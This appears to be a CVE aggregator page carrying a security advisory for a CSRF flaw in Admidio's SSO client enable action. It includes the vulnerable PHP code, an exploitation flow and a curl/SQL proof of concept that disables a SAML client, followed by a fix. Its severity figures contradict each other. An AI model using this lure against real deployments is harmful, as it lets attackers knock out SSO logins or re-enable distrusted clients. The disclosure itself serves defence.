CVE-2026-47229

MEDIUMPre-NVD 5.45.4
EchelonGraph scoreLOW confidence

This medium-severity CVE scores 5.4 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.0%, top 96% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
5.4
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS: 0%CVSS: 5.4Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Admidio: CSRF in SSO client enable action toggles SAML/OIDC clients without token validation

Summary

modules/sso/clients.php validates an adm_csrf_token on every state-changing branch except enable. The enable case loads the SAML or OIDC client by UUID, calls $client->enable($enabled), and persists the new state with no token check. Because the action is reachable via plain GET parameters, a third-party page can trick an authenticated administrator into disabling (or silently re-enabling) any configured SAML or OIDC client. Disabling an SSO client breaks every downstream relying-party application that authenticates through it.

Details

Vulnerable Code

modules/sso/clients.php:84-115 — the file's other branches each begin with SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);, but case 'enable': does not:

case 'delete_oidc':
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

$oidcService = new OIDCService($gDb, $gCurrentUser); $client = $oidcService->getClientFromUUID($getClientUUID); $client->delete(); echo json_encode(array('status' => 'success')); break;

case 'enable': // <- no CSRF validation $enabled = admFuncVariableIsValid($_GET, 'enabled', 'boolean'); $client = new SAMLClient($gDb); $client->readDataByUuid($getClientUUID); if ($client->isNewRecord()) { // Not a SAML record, so try OIDC: $client = new OIDCClient($gDb); $client->readDataByUuid($getClientUUID); } if ($client->isNewRecord()) { throw new Exception('SYS_SSO_INVALID_CLIENT'); } $client->enable($enabled); $client->save(); echo json_encode(['success' => true]); break;

The enable($enabled) call is documented to set a single boolean column on the SAML / OIDC client row — smc_enabled for SAML, ocl_enabled for OIDC — and save() persists the change immediately. The handler accepts plain GET (admFuncVariableIsValid($_GET, 'enabled', 'boolean')), so a ` or auto-submitting form is sufficient.

Exploitation Flow

  • Attacker prepares a hostile page that loads (e.g.) &enabled=0">. The client UUID can be observed by anyone who has visited the SSO settings, by anyone who has crawled the SAML metadata endpoint, or by anyone with read access to the SSO clients table — but the value is also enumerable: an admin viewing the list of SSO clients in the UI exposes data-uuid attributes in the rendered HTML, and SSO metadata endpoints (e.g. modules/sso/saml.php?metadata=1&uuid=...) confirm valid UUIDs by returning XML.
  • An Admidio administrator visits the hostile page while logged in. The browser sends Admidio's session cookie (which does not set SameSite=Strict).
  • The server runs case 'enable': as the admin, sets smc_enabled=0 (or ocl_enabled=0), and replies {"success":true}.
  • The configured SAML / OIDC client is now disabled. Every downstream application authenticating through it gets SYS_SSO_INVALID_CLIENT on its next AuthnRequest / token-endpoint call. The outage persists until an admin notices and toggles it back on.

The attacker can also flip the bit the other way: silently *re-enabling* a client that an admin had previously deactivated (perhaps because of a security concern with that relying party).

PoC

Tested on HEAD c5cde53. To produce a deterministic test target, an SSO client is provisioned directly in the DB:

# 0. seed a SAML client
mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio <<'SQL'
INSERT INTO adm_saml_clients (smc_uuid, smc_org_id, smc_client_name, smc_acs_url, smc_enabled,
                              smc_timestamp_create, smc_usr_id_create)
VALUES ('aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee', 1, 'Test SAML', 'https://app.example/acs', 1,
        NOW(), 2);
SQL

mariadb ... admidio -e "SELECT smc_uuid, smc_client_name, smc_enabled FROM adm_saml_clients WHERE smc_client_name='Test SAML';" smc_uuid smc_client_name smc_enabled aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee Test SAML 1

1. CSRF lure — admin's browser, no token supplied, GET only

curl -b $admin_cookie -i \ "http://127.0.0.1:8085/modules/sso/clients.php?mode=enable&uuid=aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee&enabled=0" HTTP/1.1 200 OK {"success":true}

2. observe the change

mariadb ... admidio -e "SELECT smc_enabled FROM adm_saml_clients WHERE smc_uuid='aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee';" smc_enabled 0

The change persists. The legitimate admin's UI continues to show the client as configured, but every SAML AuthnRequest fails until the bit is toggled back.

Impact

In an Admidio deployment that uses SSO for downstream relying parties, a CSRF lure targeted at an administrator results in:

* SSO outage for whichever client UUID the attacker chose. Users who depend on app1.example/sso (or similar) cannot log in. The outage persists until a human admin notices and re-enables the client by hand. * Stealthy re-activation of a client the admin had previously deactivated for a security reason — for example, a relying party whose certificate had been compromised — by passing enabled=1 instead of 0.

The impact is limited to the SAML / OIDC _enabled column; nothing else in the SSO state machine is mutated by this branch. Confidentiality is not affected. Availability is partial (A:L) because only one client at a time is hit, and only the SSO path of that client. Integrity is I:L because the _enabled bit is the only mutated column. UI:R reflects the admin-must-visit requirement; PR:N because the attacker needs no Admidio credentials of their own.

Recommended Fix

Add the CSRF check and switch the trigger from GET to POST:

case 'enable':
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

if ($_SERVER['REQUEST_METHOD'] !== 'POST') { throw new Exception('SYS_INVALID_PAGE_VIEW'); }

$enabled = admFuncVariableIsValid($_POST, 'enabled', 'boolean'); $client = new SAMLClient($gDb); $client->readDataByUuid($getClientUUID); if ($client->isNewRecord()) { $client = new OIDCClient($gDb); $client->readDataByUuid($getClientUUID); } if ($client->isNewRecord()) { throw new Exception('SYS_SSO_INVALID_CLIENT'); } $client->enable($enabled); $client->save(); echo json_encode(['success' => true]); break;

Update the JS call site that drives the enable/disable toggle to POST the form's CSRF token (the page already renders adm_csrf_token).

A regression test should issue a GET /modules/sso/clients.php?mode=enable&uuid=&enabled=0 with an admin cookie but no token, and assert the response rejects the request and the client's _enabled` column is unchanged.

CVSS v3
5.4
EG Score
5.4(low)
EPSS
4.0%
KEV
Not listed

Published

May 29, 2026

Last Modified

May 29, 2026

Vendor Advisories for CVE-2026-47229(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
Packagist(1)
PackageVulnerable rangeFixed inDependents
admidio/admidio4.1.0 ... v5.0.9 (55 versions)5.0.10

Data Freshness Timeline

(refreshed 3× in last 7d / 14× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-16 01:47 UTCEG score recompute
  2. 2026-07-14 13:51 UTCEG score recompute
  3. 2026-07-11 16:58 UTCEG score recompute
  4. 2026-07-08 17:15 UTCEG score recompute
  5. 2026-07-02 03:44 UTCEG score recompute
  6. 2026-07-01 01:17 UTCEG score recompute
  7. 2026-06-29 22:52 UTCEG score recompute
  8. 2026-06-28 20:38 UTCEG score recompute
  9. 2026-06-27 18:24 UTCEG score recompute
  10. 2026-06-26 16:10 UTCEG score recompute
  11. 2026-06-25 06:19 UTCEG score recompute
  12. 2026-06-24 02:45 UTCEG score recompute
  13. 2026-06-18 22:21 UTCEG score recompute
  14. 2026-06-17 12:29 UTCEG score recompute
  15. 2026-06-16 10:07 UTCEG score recompute
  16. 2026-06-15 07:53 UTCEG score recompute
  17. 2026-06-14 23:18 UTCEPSS rescore
  18. 2026-06-14 05:39 UTCEG score recompute
  19. 2026-06-13 23:00 UTCEPSS rescore
  20. 2026-06-13 03:19 UTCEG score recompute
  21. 2026-06-12 23:12 UTCEPSS rescore
  22. 2026-06-12 01:05 UTCEG score recompute
  23. 2026-06-10 22:52 UTCEG score recompute
  24. 2026-06-09 20:38 UTCEG score recompute
  25. 2026-06-08 18:22 UTCEG score recompute
Show 8 more
  1. 2026-06-07 14:06 UTCEG score recompute
  2. 2026-06-06 11:50 UTCEG score recompute
  3. 2026-06-05 09:37 UTCEG score recompute
  4. 2026-06-04 07:23 UTCEG score recompute
  5. 2026-06-03 05:09 UTCEG score recompute
  6. 2026-06-02 02:55 UTCEG score recompute
  7. 2026-06-01 00:41 UTCEG score recompute
  8. 2026-05-29 22:26 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-47229?
CVE-2026-47229 is a medium vulnerability published on May 29, 2026. Admidio: CSRF in SSO client enable action toggles SAML/OIDC clients without token validation Summary modules/sso/clients.php validates an admcsrftoken on every state-changing branch except enable. The enable case loads the SAML or OIDC client by UUID, calls $client->enable($enabled), and persists…
When was CVE-2026-47229 disclosed?
CVE-2026-47229 was first published in the National Vulnerability Database on May 29, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-47229 actively exploited?
CVE-2026-47229 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 4.0% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-47229?
CVE-2026-47229 has a CVSS v4.0 base score of 5.4 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-47229?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-47229, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-47229

Explore →

Is Your Infrastructure Affected by CVE-2026-47229?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.